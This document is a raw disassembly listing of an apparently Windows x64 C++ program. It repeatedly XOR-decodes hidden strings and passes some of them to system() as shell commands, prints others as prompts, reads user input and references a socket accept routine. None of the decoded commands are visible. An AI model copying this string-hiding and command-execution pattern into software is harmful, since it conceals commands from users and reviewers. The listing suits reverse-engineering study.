nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140026df0
lea rcx, [rbp + 0x690]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.30eySJZ2a70_7___pkL]
movups xmmword [rbp + 0x690], xmm0
mov eax, dword [0x14007c638]
mov dword [rbp + 0x6a0], eax
cmp byte [0x14007c63b], 0
je 0x140026fee
mov ecx, esi
cmp edi, 2
jl 0x140026fac
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x694]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140026ea0
cmp ecx, 0x14
jge 0x140026fee
movsxd rax, ecx
lea r8, [rbp + 0x690]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140026fc0
lea rdx, [rbp + 0x690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [rbp + 0xd8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140016e80
movups xmm0, xmmword [0x14007c640]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x14007c650]
mov word [rbp + 0x6a0], ax
cmp byte [0x14007c651], 0
je 0x1400271de
mov ecx, esi
cmp edi, 2
jl 0x14002719c
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x694]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140027090
cmp ecx, 0x12
jge 0x1400271de
movsxd rax, ecx
lea r8, [rbp + 0x690]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x1400271b0
lea rdx, [rbp + 0x690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [rbp + 0xf8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140016e80
lea rax, [rbp + 0x30]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x30]
call fcn.140008b70
mov rbx, rax
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x70]
call fcn.140008b70
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x140098a90]
call fcn.140006320
jmp 0x140028053
movups xmm0, xmmword [0x14007c5a0]
movups xmmword [rbp + 0x690], xmm0
movsd xmm1, qword [0x14007c5b0]
movsd qword [rbp + 0x6a0], xmm1
movzx eax, word [0x14007c5b8]
mov word [rbp + 0x6a8], ax
cmp byte [0x14007c5b9], 0
je 0x140027423
mov r8d, esi
cmp edi, 2
jl 0x1400273df
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x694]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400272d0
cmp r8d, 0x1a
jge 0x140027423
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400273f0
lea rcx, [rbp + 0x690]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14007c5c0]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x14007c5d0]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x14007c5d2]
mov byte [rbp + 0x6a2], al
mov ecx, esi
cmp edi, 2
jl 0x1400275ac
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x694]
mov r8d, dword [rsp + 0x30]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x1400274a0
cmp ecx, 0x13
jge 0x1400275ee
movsxd rax, ecx
lea r8, [rbp + 0x690]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x1400275c0
lea rdx, [rbp + 0x690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [rbp + 0xd8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140016e80
movups xmm0, xmmword [0x14007c5d8]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x14007c5e8]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x14007c5ea]
mov byte [rbp + 0x6a2], al
mov ecx, esi
cmp edi, 2
jl 0x14002779c
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x694]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140027690
cmp ecx, 0x13
jge 0x1400277de
movsxd rax, ecx
lea r8, [rbp + 0x690]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x1400277b0
lea rdx, [rbp + 0x690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [rbp + 0xb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140016e80
movups xmm0, xmmword [0x14007c5f0]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x14007c600]
mov word [rbp + 0x6a0], ax
cmp byte [0x14007c601], 0
je 0x1400279ce
mov ecx, esi
cmp edi, 2
jl 0x14002798c
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x694]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140027880
cmp ecx, 0x12
jge 0x1400279ce
movsxd rax, ecx
lea r8, [rbp + 0x690]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x12
jl 0x1400279a0
lea rdx, [rbp + 0x690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [rbp + 0xf8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140016e80
lea rax, [rbp + 0x30]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x30]
call fcn.140008b70
mov rdi, rax
lea rax, [rbp + 0x70]
mov qword [rbp + 0xb0], rax
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x70]
call fcn.140008b70
mov rbx, rax
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x90]
call fcn.140008b70
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x140098a90]
call fcn.140005470
mov edi, dword [reloc.WS2_32.dll_accept]
jmp 0x140028053
movups xmm0, xmmword [0x14007c550]
movups xmmword [rbp + 0x690], xmm0
movsd xmm1, qword [0x14007c560]
movsd qword [rbp + 0x6a0], xmm1
movzx eax, word [0x14007c568]
mov word [rbp + 0x6a8], ax
cmp byte [0x14007c569], 0
je 0x140027c33
mov r8d, esi
cmp edi, 2
jl 0x140027bf1
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x694]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140027ae2
cmp r8d, 0x1a
jge 0x140027c33
movsxd rax, r8d
lea r9, [rbp + 0x690]
add r9, rax
nop
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140027c00
lea rcx, [rbp + 0x690]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14007c570]
movups xmmword [rbp + 0x690], xmm0
mov eax, dword [0x14007c580]
mov dword [rbp + 0x6a0], eax
cmp byte [0x14007c583], 0
je 0x140027dfe
mov ecx, esi
cmp edi, 2
jl 0x140027dbc
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x694]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140027cb0
cmp ecx, 0x14
jge 0x140027dfe
movsxd rax, ecx
lea r8, [rbp + 0x690]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140027dd0
lea rdx, [rbp + 0x690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [rbp + 0xd8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140016e80
movups xmm0, xmmword [0x14007c588]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x14007c598]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x14007c59a]
mov byte [rbp + 0x6a2], al
mov ecx, esi
cmp edi, 2
jl 0x140027fac
movdqa xmm5, xmmword [0x14007c7b0]
movdqa xmm4, xmmword [0x14007c800]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14007c7d0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x694]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14007c7e0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140027ea0
cmp ecx, 0x13
jge 0x140027fee
movsxd rax, ecx
lea r8, [rbp + 0x690]
add r8, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x13
jl 0x140027fc0
lea rdx, [rbp + 0x690]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140017090
lea rdx, [rbp + 0xb8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140016e80
lea rax, [rbp + 0x30]
mov qword [rsp + 0x30], rax
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x30]
call fcn.140008b70
